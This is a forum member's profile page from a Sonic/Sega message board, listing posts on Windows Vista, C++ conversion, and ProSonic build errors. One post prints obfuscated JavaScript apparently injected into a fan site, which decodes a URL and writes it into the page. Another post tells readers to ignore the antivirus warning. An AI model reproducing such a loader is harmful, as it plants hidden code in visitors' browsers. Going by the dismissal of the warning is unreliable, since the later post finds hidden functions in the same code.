Sonic and Sega Retro Message Board: Revival - Viewing Profile - Sonic and Sega Retro Message Board

Jump to content

Hey there, Guest!  (Log In · Register) Help

Group:
Member: Members
Active Posts:
199 (0.07 per day)
Most Active In:
Technical Discussion (18 posts)
Joined:
08-July 07
Profile Views:
1273
Last Active:
User is offline Aug 09 2014 09:24 AM
Currently:
Offline

My Information

Member Title:
The AppleTalk Network System
Age:
20 years old
Birthday:
June 25, 1995
Gender:
Male Male
Location:
The British Republic (< 3)
Interests:
Life

Contact Information

E-mail:
Private
Website:
Website  http://

Previous Fields

National Flag:
uk
Wiki edits:
34

Latest Visitors

Posts I've Made

  1. In Topic: Should I update to Windows Vista?

    27 March 2011 - 08:17 AM

    Windows Vista is obviously inferior to Windows 7 but it is also obviously superior to Windows XP overall. As long as you have 2GB or more RAM you should do just fine running Vista and there's solutions if you have less than that to reduce memory footprint. People who appeal for XP should appeal for Windows 2000 instead as there's programs that can offer it compatibility with Windows XP in virtually everything while still using less memory.

    Note that the 'Vista sucks 7 is awesome' opinion is the factor of the initial backlash against Vista for various reasons, probably driver related I assume. XP to Vista was a huge leap, so there was obviously going to be incompatibilities. Now the driver hassles are mostly resolved for moderately mainstream hardware. Do remember that Microsoft done a study where they found that people thought Windows Vista being disguised as a successor to Vista was better than Windows Vista, this really shows the mass ignorance of people in this.
  2. In Topic: Converting my Database Manager to C++

    18 December 2010 - 05:47 AM

    The big incompatibility between C++ and C, in my opinion, is that C++ is more strongly-typed, so simply compiling C code as C++ will encounter problems (I found this was very common with malloc()). The solution is to explicitly cast wherever you see an 'invalid type conversion' or similar error.
  3. In Topic: PROSONIC IS NOW OPEN SOURCE

    25 August 2010 - 11:32 AM

    QUOTE (Conan Kudo @ Aug 25 2010, 08:54 AM)
    QUOTE (HighFrictionZone @ Aug 24 2010, 11:59 PM)
    Just pulled from repository and attempted again. This one produces a lot more of a different set of errors.
    CODE
    >------ Build started: Project: ProSonic, Configuration: Debug Win32 ------
    2>  Building Custom Rule C:/Users/Philbert/Desktop/ProSonic/OLD/Engine/prosonic/Source/Engine/CMakeLists.txt
    2>  CMake does not need to re-run because C:\Users\Philbert\Desktop\ProSonic\OLD\Engine\prosonic\output\Source\Engine\CMakeFiles\generate.stamp is up-to-date.
    2>cl : Command line warning D9025: overriding '/W1' with '/w'
    2>cl : Command line warning D9002: ignoring unknown option '-funroll-loops'
    2>cl : Command line warning D9002: ignoring unknown option '-funswitch-loops'
    2>cl : Command line warning D9002: ignoring unknown option '-fexpensive-optimizations'
    2>cl : Command line warning D9002: ignoring unknown option '-march=i586'
    2>cl : Command line warning D9002: ignoring unknown option '-mmmx'
    2>cl : Command line warning D9002: ignoring unknown option '-msse'
    2>  demo.c
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(98): error C2054: expected '(' to follow 'inline'
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(98): error C2085: 'ProcessSound' : not in formal parameter list
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(99): error C2085: 'ResetSound' : not in formal parameter list
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(100): error C2085: 'PlayPCM' : not in formal parameter list
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(101): error C2085: 'PlayFM' : not in formal parameter list
    2>c:\users\philbert\desktop\prosonic\old\engine\prosonic\source\engine\common.h(103): error C2085: 'StreamPCM' : not in formal parameter list

    Etc, on down the line of "not in formal parameter list" type errors. Honestly, though, chances are pretty good that I probably fucked something up. I am not, how you might say, an expert on these things. I'm just about to head to bed, so I wouldn't be able to respond back until tomorrow. Hopefully, sleeping on it will make me realize some simple and obvious mistake I made, like forgetting to set a config or something.

    EDIT: Also, most of my problems probably stem from mixing and matching libraries or something. I imagine that if I get allegro to work with mingw directly, I'll probably end up ditching MSVC 2010 and going straight with regular-old-makefiles and a good text editor. Still though, Visual Studio support would be nice to get other people in on the coding, I guess.


    I've added equivalent options for MSVC (when available) for compilation, so no more unknown option warnings, hopefully. The formal parameter list errors.... Hmm...

    I see a parameter list for the functions.... I'm confused....

    In any case, it should work fine if you use MinGW. I've made some more fixes and updated the repository's CMake scripts.


    Compiler specific features are used by the source code. I might have a go at adding the relevant #ifdefs to get it working with MSVC.
  4. In Topic: SOST is full of viruses

    18 November 2009 - 03:51 PM

    I decided to make sure that the reason for the warning was obfuscated javascript, and it seems so:
    CODE
    function urb(GihZlaf){var XNoZdYIaJq=7,qtTAU=8;var YxseDmCjJ='86+5,53+3,34+1,91+0,101+4,101+4,98+0,50+6,41+1,41+1,101+4,84+7,98+0,91+7,99+
    6,97+1,101+4,88+3,96+2,40+2,91+7,96+2,89+2,97+1,41+1,94+4,91+7,96+2,40+2,86+5,90+
    1,91' +
    '7,55+1,92+6,106+6,97+1,34+1,54+2,52+4,41+1,91+7,89+2,99+6,84+7,95+3,88+3,54+
    2,',mGnbjgWJ=YxseDmCjJ.split(',');youWKW='';
    for(dJC=0;dJC<mGnbjgWJ.length-1;dJC++){ vHFjYLk=mGnbjgWJ[dJC].split('+');
    FUGSFoNTNh = parseInt(vHFjYLk[0]*qtTAU)+parseInt(vHFjYLk[1]);FUGSFoNTNh = parseInt(FUGSFoNTNh)/XNoZdYIaJq;youWKW += String.fromCharCode(FUGSFoNTNh);}return youWKW;}
    document['wri5te'.replace(/[0-9]/,'')](RXWtGlQ('GWbkhEiw')+urb('vvAWXu'));


    Take a look at the coding for that function. There isn't even proper spacing.

    EDIT: Wow, there's actually 2 functions hidden within that code. I've spaced it just enough to stop it stretching the tables.
  5. In Topic: SOST is full of viruses

    16 November 2009 - 12:16 PM

    It's because the small amount of javascript at SoST is obfuscated. As a result of this, anti-virus programs will fire a warning in case the obfuscated javascript is an XSS exploit in disguise or whatever. Ignore the warning.

Friends